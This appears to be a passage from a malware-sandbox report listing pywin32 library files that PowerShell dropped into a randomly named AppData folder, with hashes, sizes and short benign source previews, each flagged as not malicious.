              SHA1:9E177FF30F49DB4F20145671B5C9F88B278D3C3E
              SHA-256:F0467A1CA6FFC066C7ED283CDAE5D2EA76AEFE5B9CC21C3FE096B5D28C23765A
              SHA-512:3F5E10EF7C44FE6EF61ECD1CFB0FED21F5D9448C98291485917E0491F4F6EC904131894CA4D8E2425F08FA2FC18210CA4FB32191E8AB3336A9223A6DFB6AC5D9
              Malicious:false
              Reputation:unknown
              Preview:# win2kras used to be an extension module with wrapped the "new" RAS functions.# in Windows 2000, so win32ras could still be used on NT/etc..# I think in 2021 we can be confident pywin32 is not used on earlier OSs, so.# that functionality is now in win32ras..#.# This exists just to avoid breaking old scripts..from win32ras import *.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\win32con.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):117047
              Entropy (8bit):5.102756787103929
              Encrypted:false
              SSDEEP:
              MD5:6D9449506328201C05E643B0D4E65EA1
              SHA1:D1F20BB6928C5A6B4DE0EF48CC380D113C61AA90
              SHA-256:7DB98CEDA5CD93A5954A5434BD0D77A34825EC772400ED67037A8C87838BDDC7
              SHA-512:0209E9D59EFE0B2890CC5BBCEB1B447F408CA4BC84313B8E8A8C1B9235761A4EF15C5E737B626B1AE81D6CD4A39F194682227E415F30D664F15B5FCC06B28449
              Malicious:false
              Reputation:unknown
              Preview:# Generated by h2py from commdlg.h (plus modifications 4jan98).WINVER = 1280.WM_USER = 1024.PY_0U = 0.OFN_READONLY = 1.OFN_OVERWRITEPROMPT = 2.OFN_HIDEREADONLY = 4.OFN_NOCHANGEDIR = 8.OFN_SHOWHELP = 16.OFN_ENABLEHOOK = 32.OFN_ENABLETEMPLATE = 64.OFN_ENABLETEMPLATEHANDLE = 128.OFN_NOVALIDATE = 256.OFN_ALLOWMULTISELECT = 512.OFN_EXTENSIONDIFFERENT = 1024.OFN_PATHMUSTEXIST = 2048.OFN_FILEMUSTEXIST = 4096.OFN_CREATEPROMPT = 8192.OFN_SHAREAWARE = 16384.OFN_NOREADONLYRETURN = 32768.OFN_NOTESTFILECREATE = 65536.OFN_NONETWORKBUTTON = 131072.OFN_NOLONGNAMES = 262144.OFN_EXPLORER = 524288 # new look commdlg.OFN_NODEREFERENCELINKS = 1048576.OFN_LONGNAMES = 2097152 # force long names for 3.x modules.OFN_ENABLEINCLUDENOTIFY = 4194304 # send include message to callback.OFN_ENABLESIZING = 8388608.OFN_DONTADDTORECENT = 33554432.OFN_FORCESHOWHIDDEN = 268435456 # Show All files including System and hidden files.OFN_EX_NOPLACESBAR = 1.OFN_SHAREFALLTHROUGH = 2.OFN_SHARENOWARN = 1.OFN_SHAREWARN = 0.CDN

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\win32cryptcon.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):72494
              Entropy (8bit):5.132765035748773
              Encrypted:false
              SSDEEP:
              MD5:DCC36C5E07BA223144EDC9DA143C5631
              SHA1:06CA43F7B6F208F32E1B9A7F0D97785A65FE333C
              SHA-256:4E3B2ACAE1B0ACE6DBAFB5ADE99048879F75275423063247BE25FE4749D23EAD
              SHA-512:CBEBE171A15DA44AF86F8EA2CBED90B5614928EA1136EB34030AAADBA2A399C36445FFACD8B3CF6A8A2CB41E923C26330303F0E29F1D4BF431562E3C89559C70
              Malicious:false
              Reputation:unknown
              Preview:# Generated by h2py from WinCrypt.h.def GET_ALG_CLASS(x):. return x & (7 << 13)...def GET_ALG_TYPE(x):. return x & (15 << 9)...def GET_ALG_SID(x):. return x & (511)...ALG_CLASS_ANY = 0.ALG_CLASS_SIGNATURE = 1 << 13.ALG_CLASS_MSG_ENCRYPT = 2 << 13.ALG_CLASS_DATA_ENCRYPT = 3 << 13.ALG_CLASS_HASH = 4 << 13.ALG_CLASS_KEY_EXCHANGE = 5 << 13.ALG_CLASS_ALL = 7 << 13.ALG_TYPE_ANY = 0.ALG_TYPE_DSS = 1 << 9.ALG_TYPE_RSA = 2 << 9.ALG_TYPE_BLOCK = 3 << 9.ALG_TYPE_STREAM = 4 << 9.ALG_TYPE_DH = 5 << 9.ALG_TYPE_SECURECHANNEL = 6 << 9.ALG_SID_ANY = 0.ALG_SID_RSA_ANY = 0.ALG_SID_RSA_PKCS = 1.ALG_SID_RSA_MSATWORK = 2.ALG_SID_RSA_ENTRUST = 3.ALG_SID_RSA_PGP = 4.ALG_SID_DSS_ANY = 0.ALG_SID_DSS_PKCS = 1.ALG_SID_DSS_DMS = 2.ALG_SID_DES = 1.ALG_SID_3DES = 3.ALG_SID_DESX = 4.ALG_SID_IDEA = 5.ALG_SID_CAST = 6.ALG_SID_SAFERSK64 = 7.ALG_SID_SAFERSK128 = 8.ALG_SID_3DES_112 = 9.ALG_SID_CYLINK_MEK = 12.ALG_SID_RC5 = 13.ALG_SID_AES_128 = 14.ALG_SID_AES_192 = 15.ALG_SID_AES_256 = 16.ALG_SID_AES = 17.ALG_SID_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\win32evtlogutil.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):7612
              Entropy (8bit):4.617430807608831
              Encrypted:false
              SSDEEP:
              MD5:4056059DA5B13E78304894A5DEC5A3EF
              SHA1:7223224E6D80F2265E531976843061A344D0202A
              SHA-256:92803137353DA3AB0554FF8980F532BDFD994718E0C76BBEBE1DDA72772ACFCC
              SHA-512:1148427CDC915EAD9F942A0DCFCFE47BFF784110630CEB202E9F43C0A787282FF926A434D1229C8837B847A4E604DF6A7F09708B1D28C1248889453AD28D8781
              Malicious:false
              Reputation:unknown
              Preview:"""Event Log Utilities - helper for win32evtlog.pyd."""..import win32api.import win32con.import win32evtlog.import winerror..error = win32api.error # The error the evtlog module raises...langid = win32api.MAKELANGID(win32con.LANG_NEUTRAL, win32con.SUBLANG_NEUTRAL)...def AddSourceToRegistry(. appName,. msgDLL=None,. eventLogType="Application",. eventLogFlags=None,. categoryDLL=None,. categoryCount=0,.):. """Add a source of messages to the event log... Allows Python program to register a custom source of messages in the. registry. You must also provide the DLL name that has the message table, so the. full message text appears in the event log... Note that the win32evtlog.pyd file has a number of string entries with just "%1". built in, so many Python programs can simply use this DLL. Disadvantages are that. you do not get language translation, and the full text is stored in the event log,. blowing the size of the log up.. """.. # When an

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\win32gui_struct.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):30127
              Entropy (8bit):4.825689367996127
              Encrypted:false
              SSDEEP:
              MD5:B07124FDD02BB98B79FA59067C88927E
              SHA1:7AE2C2F6EFE5CE004C10B993F2DEAD988DDAED9A
              SHA-256:EBE1F5BC059EA1B530E701EA649EF8644E09785B72AB1866DF6977C8C0D7A1B4
              SHA-512:9798EE222E0E5D98DAFDB4A103C91D6B0AB98D6BE75EBA9B945FD663E9FC0036AB6C3F62630ACED21B168C548D1DDDD3DBA024B4302DB8B97891F450C19B0CBA
              Malicious:false
              Reputation:unknown
              Preview:# This is a work in progress - see Demos/win32gui_menu.py..# win32gui_struct.py - helpers for working with various win32gui structures..# As win32gui is "light-weight", it does not define objects for all possible.# win32 structures - in general, "buffer" objects are passed around - it is.# the callers responsibility to pack the buffer in the correct format..#.# This module defines some helpers for the commonly used structures..#.# In general, each structure has 3 functions:.#.# buffer, extras = PackSTRUCTURE(items, ...).# item, ... = UnpackSTRUCTURE(buffer).# buffer, extras = EmtpySTRUCTURE(...).#.# 'extras' is always items that must be held along with the buffer, as the.# buffer refers to these object's memory..# For structures that support a 'mask', this mask is hidden from the user - if.# 'None' is passed, the mask flag will not be set, or on return, None will.# be returned for the value if the mask is not set..#.# NOTE: I considered making these structures look like real classes, a

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\win32inetcon.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):43217
              Entropy (8bit):4.6681753612382915
              Encrypted:false
              SSDEEP:
              MD5:3E80C82D1405D405BE8010FA6040C732
              SHA1:F34649F7F1998CC0E88D73615DC97D3ED8B26EFA
              SHA-256:141EE8BBE50251222119936B059936FCA0108A8F53F25D8C8D76172A73DB688F
              SHA-512:7994A0F197AD1B6308B34AAACAAB612D24B89A5CA50D0E9B9043F5DB8C07C29BFA1D85735AEA573B8879C8F99C286B328DA277AFE590EB5539994FA9B0BA101B
              Malicious:false
              Reputation:unknown
              Preview:# Generated by h2py from \mssdk\include\WinInet.h..INTERNET_INVALID_PORT_NUMBER = 0.INTERNET_DEFAULT_PORT = 0.INTERNET_DEFAULT_FTP_PORT = 21.INTERNET_DEFAULT_GOPHER_PORT = 70.INTERNET_DEFAULT_HTTP_PORT = 80.INTERNET_DEFAULT_HTTPS_PORT = 443.INTERNET_DEFAULT_SOCKS_PORT = 1080.INTERNET_MAX_HOST_NAME_LENGTH = 256.INTERNET_MAX_USER_NAME_LENGTH = 128.INTERNET_MAX_PASSWORD_LENGTH = 128.INTERNET_MAX_PORT_NUMBER_LENGTH = 5.INTERNET_MAX_PORT_NUMBER_VALUE = 65535.INTERNET_MAX_PATH_LENGTH = 2048.INTERNET_MAX_SCHEME_LENGTH = 32.INTERNET_KEEP_ALIVE_ENABLED = 1.INTERNET_KEEP_ALIVE_DISABLED = 0.INTERNET_REQFLAG_FROM_CACHE = 0x00000001.INTERNET_REQFLAG_ASYNC = 0x00000002.INTERNET_REQFLAG_VIA_PROXY = 0x00000004.INTERNET_REQFLAG_NO_HEADERS = 0x00000008.INTERNET_REQFLAG_PASSIVE = 0x00000010.INTERNET_REQFLAG_CACHE_WRITE_DISABLED = 0x00000040.INTERNET_REQFLAG_NET_TIMEOUT = 0x00000080.INTERNET_FLAG_RELOAD = -2147483648.INTERNET_FLAG_RAW_DATA = 0x40000000.INTERNET_FLAG_EXISTING_CONNECT = 0x20000000.INTERNET_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\win32netcon.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):18532
              Entropy (8bit):4.901387880502849
              Encrypted:false
              SSDEEP:
              MD5:270657C418E28DF9E73D1696C20FA02D
              SHA1:3CF6B740CEF32D322F474FC2F0CF2B90031531B2
              SHA-256:7DC59BBF74413E8951D199A9DE1B7DDAFE027FB1244C813F2DBD3DF3841AE80E
              SHA-512:2AA93F6E05ABBA165CFD7F72E8ADC5DC0C7FFD7FD3C5AC8F762E5D6C2F40FA619469A9757185163208B7594869FC7D2755026D8AECE5AFCBB6BAD4F4C1A746E0
              Malicious:false
              Reputation:unknown
              Preview:# Generated by h2py from lmaccess.h..# Included from lmcons.h.CNLEN = 15.LM20_CNLEN = 15.DNLEN = CNLEN.LM20_DNLEN = LM20_CNLEN.UNCLEN = CNLEN + 2.LM20_UNCLEN = LM20_CNLEN + 2.NNLEN = 80.LM20_NNLEN = 12.RMLEN = UNCLEN + 1 + NNLEN.LM20_RMLEN = LM20_UNCLEN + 1 + LM20_NNLEN.SNLEN = 80.LM20_SNLEN = 15.STXTLEN = 256.LM20_STXTLEN = 63.PATHLEN = 256.LM20_PATHLEN = 256.DEVLEN = 80.LM20_DEVLEN = 8.EVLEN = 16.UNLEN = 256.LM20_UNLEN = 20.GNLEN = UNLEN.LM20_GNLEN = LM20_UNLEN.PWLEN = 256.LM20_PWLEN = 14.SHPWLEN = 8.CLTYPE_LEN = 12.MAXCOMMENTSZ = 256.LM20_MAXCOMMENTSZ = 48.QNLEN = NNLEN.LM20_QNLEN = LM20_NNLEN.ALERTSZ = 128.NETBIOS_NAME_LEN = 16.CRYPT_KEY_LEN = 7.CRYPT_TXT_LEN = 8.ENCRYPTED_PWLEN = 16.SESSION_PWLEN = 24.SESSION_CRYPT_KLEN = 21.PARMNUM_ALL = 0.PARM_ERROR_NONE = 0.PARMNUM_BASE_INFOLEVEL = 1000.NULL = 0.PLATFORM_ID_DOS = 300.PLATFORM_ID_OS2 = 400.PLATFORM_ID_NT = 500.PLATFORM_ID_OSF = 600.PLATFORM_ID_VMS = 700.MAX_LANMAN_MESSAGE_ID = 5799.UF_SCRIPT = 1.UF_ACCOUNTDISABLE = 2.UF_HOMEDIR_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\win32pdhquery.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):23345
              Entropy (8bit):4.411538185872905
              Encrypted:false
              SSDEEP:
              MD5:BF0D2114EDDEEBD1CE68A9EAE89B816F
              SHA1:E1A693DCA326553D9C721EF87B989EC2F7F03855
              SHA-256:B0003F4A62C0423ED5FCE784CC2DAFD46D4326FF3779C38CC6B41514785DAAA2
              SHA-512:A1898D94EA296110A1CF036863F3E0DF30C8570466ACDC32058FE20A6DD0091ECE254B6FE9CB290364564A5AF263DA7BF79061285AABA8D5A32728D0C8DC4BE3
              Malicious:false
              Reputation:unknown
              Preview:""".Performance Data Helper (PDH) Query Classes..Wrapper classes for end-users and high-level access to the PDH query.mechanisms. PDH is a win32-specific mechanism for accessing the.performance data made available by the system. The Python for Windows.PDH module does not implement the "Registry" interface, implementing.the more straightforward Query-based mechanism...The basic idea of a PDH Query is an object which can query the system.about the status of any number of "counters." The counters are paths.to a particular piece of performance data. For instance, the path .'\\Memory\\Available Bytes' describes just about exactly what it says.it does, the amount of free memory on the default computer expressed .in Bytes. These paths can be considerably more complex than this, .but part of the point of this wrapper module is to hide that.complexity from the end-user/programmer...EXAMPLE: A more complex Path..'\\\\RAISTLIN\\PhysicalDisk(_Total)\\Avg. Disk Bytes/Read'..Raistlin --> Comput

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\win32pdhutil.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):7572
              Entropy (8bit):4.760002873265964
              Encrypted:false
              SSDEEP:
              MD5:8AD62CBBD2071246ABA788230750686B
              SHA1:23BBB6B4B02A5119B2B076D0C79852F54F264A79
              SHA-256:306381F35E30A3864D0C8B7CE4A643DB6459B46A4B2ACDBDDF3F51F97236F280
              SHA-512:F3083469BCD5C3A05FB25F4D313DD9C9652FC7929AFC27E4C0CB7AD55FB1A8EB314C60300153FA3FBD1FBE3A37B4826B0FF68224F8CA5DD26BC1FBA7D966E2E5
              Malicious:false
              Reputation:unknown
              Preview:"""Utilities for the win32 Performance Data Helper module..Example:. To get a single bit of data:. >>> import win32pdhutil. >>> win32pdhutil.GetPerformanceAttributes("Memory", "Available Bytes"). 6053888. >>> win32pdhutil.FindPerformanceAttributesByName("python", counter="Virtual Bytes"). [22278144].. First example returns data which is not associated with any specific instance... The second example reads data for a specific instance - hence the list return -. it would return one result for each instance of Python running... In general, it can be tricky finding exactly the "name" of the data you wish to query.. Although you can use <om win32pdh.EnumObjectItems>(None,None,(eg)"Memory", -1) to do this,. the easiest way is often to simply use PerfMon to find out the names.."""..import time..import win32pdh..error = win32pdh.error..# Handle some louserzation issues..# see http://support.microsoft.com/default.aspx?scid=http://support.microsoft.com:80/support/kb/articles/Q287/1/5

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\win32rcparser.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):21621
              Entropy (8bit):4.345741275259594
              Encrypted:false
              SSDEEP:
              MD5:6E9D68C5DA50B72139D96FF891CD4721
              SHA1:D062B14C6573976B48B9EE109FE1E9E25D0B49F1
              SHA-256:0800FE2913F79F7FD01B4E6ECC35890AE1E790C3B3BB822DAF5E683D783A3D25
              SHA-512:34E8525684978447423BA9E40253F1603D846E657DD4F27707BA48C7A56AAEEC0ABB9E49E9948C94EBEE7437C371E10FF8354F00C2C2E2A4B9B2BB34200EDD51
              Malicious:false
              Reputation:unknown
              Preview:# Windows dialog .RC file parser, by Adam Walker...# This module was adapted from the spambayes project, and is Copyright.# 2003/2004 The Python Software Foundation and is covered by the Python.# Software Foundation license..""".This is a parser for Windows .rc files, which are text files which define.dialogs and other Windows UI resources..""".__author__ = "Adam Walker".__version__ = "0.11"..import os.import pprint.import shlex.import stat.import sys..import commctrl.import win32con.._controlMap = {. "DEFPUSHBUTTON": 0x80,. "PUSHBUTTON": 0x80,. "Button": 0x80,. "GROUPBOX": 0x80,. "Static": 0x82,. "CTEXT": 0x82,. "RTEXT": 0x82,. "LTEXT": 0x82,. "LISTBOX": 0x83,. "SCROLLBAR": 0x84,. "COMBOBOX": 0x85,. "EDITTEXT": 0x81,. "ICON": 0x82,. "RICHEDIT": "RichEdit20A",.}..# These are "default styles" for certain controls - ie, Visual Studio assumes.# the styles will be applied, and emits a "NOT {STYLE_NAME}" if it is to be.# disabled. These defaults ha

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\win32serviceutil.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script text executable Python script, ASCII text executable
              Category:dropped
              Size (bytes):37862
              Entropy (8bit):4.614779913776034
              Encrypted:false
              SSDEEP:
              MD5:A2763C3261E20DD075A58806FC70F5D6
              SHA1:EAA742D5CF6A52C4FF73FE918576BC833B5773F4
              SHA-256:5AEC1FB03072ADA28FB7E6A481BAB681EF86D6A8B5655D42EC2025480D192629
              SHA-512:4C721D6130027E5EBE64A8DADA7694B3351C43468DD14401290073D3B28FBA0E4538FD8BE94C9A92593AD32E47E995BB642AEE4D28019EDC1D4C81ADEEAF04AA
              Malicious:false
              Reputation:unknown
              Preview:# General purpose service utilities, both for standard Python scripts,.# and for for Python programs which run as services....#.# Note that most utility functions here will raise win32api.error's.# (which is win32service.error, pywintypes.error, etc).# when things go wrong - eg, not enough permissions to hit the.# registry etc...import importlib.import os.import sys.import warnings..import pywintypes.import win32api.import win32con.import win32service.import winerror.._d = "_d" if "_d.pyd" in importlib.machinery.EXTENSION_SUFFIXES else "".error = RuntimeError...# Returns the full path to an executable for hosting a Python service - typically.# 'pythonservice.exe'.# * If you pass a param and it exists as a file, you'll get the abs path back.# * Otherwise we'll use the param instead of 'pythonservice.exe', and we will.# look for it..def LocatePythonServiceExe(exe=None):. if not exe and hasattr(sys, "frozen"):. # If py2exe etc calls this with no exe, default is current exe,.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\win32timezone.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Unicode text, UTF-8 text
              Category:dropped
              Size (bytes):34707
              Entropy (8bit):4.807361610549798
              Encrypted:false
              SSDEEP:
              MD5:718FFB8E2DE16CC50F85AE5A97357C1E
              SHA1:0C525852741BB3C79217BB8BE74B70BF961BA6CE
              SHA-256:0B841E5261A6631A779AADC686380CD950687BCFCA5DEBB3811F1239B0D46215
              SHA-512:0649B8EAF331CD2A8E126614CF2C3F4C19659E0E18710AB945CD118D257F11FAF10745CACC477CA684576D27FB32D6ABE850645483E970BDA9A87ABFF3BA968B
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: UTF-8 -*-..""".win32timezone:. Module for handling datetime.tzinfo time zones using the windows.registry for time zone information. The time zone names are dependent.on the registry entries defined by the operating system... This module may be tested using the doctest module... Written by Jason R. Coombs (jaraco@jaraco.com).. Copyright . 2003-2012.. All Rights Reserved... This module is licenced for use in Mark Hammond's pywin32.library under the same terms as the pywin32 library... To use this time zone module with the datetime module, simply pass.the TimeZoneInfo object to the datetime constructor. For example,..>>> import win32timezone, datetime.>>> assert 'Mountain Standard Time' in win32timezone.TimeZoneInfo.get_sorted_time_zone_names().>>> MST = win32timezone.TimeZoneInfo('Mountain Standard Time').>>> now = datetime.datetime.now(MST).. The now object is now a time-zone aware object, and daylight savings-.aware methods may be called on it..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\win32traceutil.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1584
              Entropy (8bit):4.654992084520462
              Encrypted:false
              SSDEEP:
              MD5:BDFB78DE5F5D6078A8BD64C4F657E8C7
              SHA1:866AA96F01D696B9C372CD553DD450D757675E6B
              SHA-256:0F10F3808D3A2A2913D6AD0F2FE7533CE0FA97C9DD9B076ECDA74746D3B14A61
              SHA-512:B4E95B9891C3A466A1F06587C850AE26F4E15F4FBA238AB384217F239AAFD4F6E628B120343271C794B8E15EAE0E90864ADE9540DB0E82CA3176BA2B12F78F4E
              Malicious:false
              Reputation:unknown
              Preview:# This is a helper for the win32trace module..# If imported from a normal Python program, it sets up sys.stdout and sys.stderr.# so output goes to the collector...# If run from the command line, it creates a collector loop...# Eg:.# C:>start win32traceutil.py (or python.exe win32traceutil.py).# will start a process with a (pretty much) blank screen..#.# then, switch to a DOS prompt, and type:.# C:>python.exe.# Python 1.4 etc....# >>> import win32traceutil.# Redirecting output to win32trace remote collector.# >>> print "Hello".# >>>.# And the output will appear in the first collector process...# Note - the client or the collector can be started first..# There is a 0x20000 byte buffer. If this gets full, it is reset, and new.# output appended from the start...import win32trace...def RunAsCollector():. import sys.. try:. import win32api.. win32api.SetConsoleTitle("Python Trace Collector"). except:. pass # Oh well!. win32trace.InitRead(). print("Collec

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\win32verstamp.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):7181
              Entropy (8bit):4.8562430886724055
              Encrypted:false
              SSDEEP:
              MD5:7388BE0EC0F22D309FD05084BEA46732
              SHA1:C1344C0077A437F903090F9ACEFD4D023490F2E6
              SHA-256:59028FB43A41D5F1A37425AA91ECE10D9A3336494E9FC12A85456213EC157524
              SHA-512:542855F86F989D8DC7EA2F9F5B56BB2D2DC9E137B14AFC79387AA7B16CDA7C213FBBDE125E1C2F81FFCDBCCCCD19DD009DB3D6F0D9F8C531CD5EF32E5249CDD9
              Malicious:false
              Reputation:unknown
              Preview:""" Stamp a Win32 binary with version information.."""..import glob.import optparse.import os.import struct.import sys..from win32api import BeginUpdateResource, EndUpdateResource, UpdateResource..VS_FFI_SIGNATURE = -17890115 # 0xFEEF04BD.VS_FFI_STRUCVERSION = 0x00010000.VS_FFI_FILEFLAGSMASK = 0x0000003F.VOS_NT_WINDOWS32 = 0x00040004..null_byte = "\0".encode("ascii") # str in py2k, bytes in py3k...#.# Set VS_FF_PRERELEASE and DEBUG if Debug.#.def file_flags(debug):. if debug:. return 3 # VS_FF_DEBUG | VS_FF_PRERELEASE. return 0...def file_type(is_dll):. if is_dll:. return 2 # VFT_DLL. return 1 # VFT_APP...def VS_FIXEDFILEINFO(maj, min, sub, build, debug=0, is_dll=1):. return struct.pack(. "lllllllllllll",. VS_FFI_SIGNATURE, # dwSignature. VS_FFI_STRUCVERSION, # dwStrucVersion. (maj << 16) | min, # dwFileVersionMS. (sub << 16) | build, # dwFileVersionLS. (maj << 16) | min, # dwProductVersionMS. (sub

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\winerror.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):101476
              Entropy (8bit):4.77819887256081
              Encrypted:false
              SSDEEP:
              MD5:3E6BCC747E8DBB2605E4F71B359F574A
              SHA1:00FCA4E9E1878BC43471E61D37829FA8B1B7E419
              SHA-256:BDEFDD1C793B377C8712924EC2E9DC1DD36CF4D0231C42A0754F4800C4C33CE4
              SHA-512:D4AB8EE26C86C517118C58542B559233B43C68E3860580B65662BC403FD2048827B67038DA536F49EDC5A09880988914A6EA6B7EB50509F74278FA072173842B
              Malicious:false
              Reputation:unknown
              Preview:"""Error related constants for win32..Generated by h2py from winerror.h.""".# Few extras added manually....TRUST_E_PROVIDER_UNKNOWN = -2146762751.TRUST_E_ACTION_UNKNOWN = -2146762750.TRUST_E_SUBJECT_FORM_UNKNOWN = -2146762749.TRUST_E_SUBJECT_NOT_TRUSTED = -2146762748.# up to here.....FACILITY_WINRM = 51.FACILITY_WINDOWSUPDATE = 36.FACILITY_WINDOWS_DEFENDER = 80.FACILITY_WINDOWS_CE = 24.FACILITY_WINDOWS = 8.FACILITY_URT = 19.FACILITY_UMI = 22.FACILITY_TPM_SOFTWARE = 41.FACILITY_TPM_SERVICES = 40.FACILITY_SXS = 23.FACILITY_STORAGE = 3.FACILITY_STATE_MANAGEMENT = 34.FACILITY_SSPI = 9.FACILITY_SCARD = 16.FACILITY_SHELL = 39.FACILITY_SETUPAPI = 15.FACILITY_SECURITY = 9.FACILITY_RPC = 1.FACILITY_PLA = 48.FACILITY_WIN32 = 7.FACILITY_CONTROL = 10.FACILITY_NULL = 0.FACILITY_NDIS = 52.FACILITY_METADIRECTORY = 35.FACILITY_MSMQ = 14.FACILITY_MEDIASERVER = 13.FACILITY_INTERNET = 12.FACILITY_ITF = 4.FACILITY_USERMODE_HYPERVISOR = 53.FACILITY_HTTP = 25.FACILITY_GRAPHICS = 38.FACILITY_FWP = 50.FACILIT

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\winioctlcon.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):35375
              Entropy (8bit):4.947059805776436
              Encrypted:false
              SSDEEP:
              MD5:3DF6D6E817826DB59BC39A28767FBF17
              SHA1:C4A306CFBDE9C4A7AA9D6EC31A7F5DF460AF3712
              SHA-256:96315AD778ABB36647DFA50E972327BF3CE302E406BA82A0BBCB1468F0B0B724
              SHA-512:62AF06B18236700DE5F72170E98C689D66DEBA7DC782C2E3BFBBF39DF3CC2249F14DD5A69D3A1BC68CB27C17A5DE2234BA09EB5F5FA19A77E7DECC736490D3D6
              Malicious:false
              Reputation:unknown
              Preview:## flags, enums, guids used with DeviceIoControl from WinIoCtl.h..import pywintypes.from ntsecuritycon import FILE_READ_DATA, FILE_WRITE_DATA...def CTL_CODE(DeviceType, Function, Method, Access):. return (DeviceType << 16) | (Access << 14) | (Function << 2) | Method...def DEVICE_TYPE_FROM_CTL_CODE(ctrlCode):. return (ctrlCode & 0xFFFF0000) >> 16...FILE_DEVICE_BEEP = 0x00000001.FILE_DEVICE_CD_ROM = 0x00000002.FILE_DEVICE_CD_ROM_FILE_SYSTEM = 0x00000003.FILE_DEVICE_CONTROLLER = 0x00000004.FILE_DEVICE_DATALINK = 0x00000005.FILE_DEVICE_DFS = 0x00000006.FILE_DEVICE_DISK = 0x00000007.FILE_DEVICE_DISK_FILE_SYSTEM = 0x00000008.FILE_DEVICE_FILE_SYSTEM = 0x00000009.FILE_DEVICE_INPORT_PORT = 0x0000000A.FILE_DEVICE_KEYBOARD = 0x0000000B.FILE_DEVICE_MAILSLOT = 0x0000000C.FILE_DEVICE_MIDI_IN = 0x0000000D.FILE_DEVICE_MIDI_OUT = 0x0000000E.FILE_DEVICE_MOUSE = 0x0000000F.FILE_DEVICE_MULTI_UNC_PROVIDER = 0x00000010.FILE_DEVICE_NAMED_PIPE = 0x00000011.FILE_DEVICE_NETWORK = 0x00000012.FILE_DEVICE_NE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\winnt.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):37443
              Entropy (8bit):5.062040837597238
              Encrypted:false
              SSDEEP:
              MD5:B1462067D46C806885EDDCE722EC69E4
              SHA1:7F604203D100378E7AE54333B44CA4163A527D5E
              SHA-256:F2A893A055E72F1A21474A2D0AF2847874D241DCC6EE2F11F0213CA89F2B3328
              SHA-512:5FA6A9004AA50EDB8081AB33048D03E905DAB785946830F22E0F3472D45728C54B5879F859E4040766CADB784BE5EC89CEF80D4E0F9B59FE21C3CA38494EF81C
              Malicious:false
              Reputation:unknown
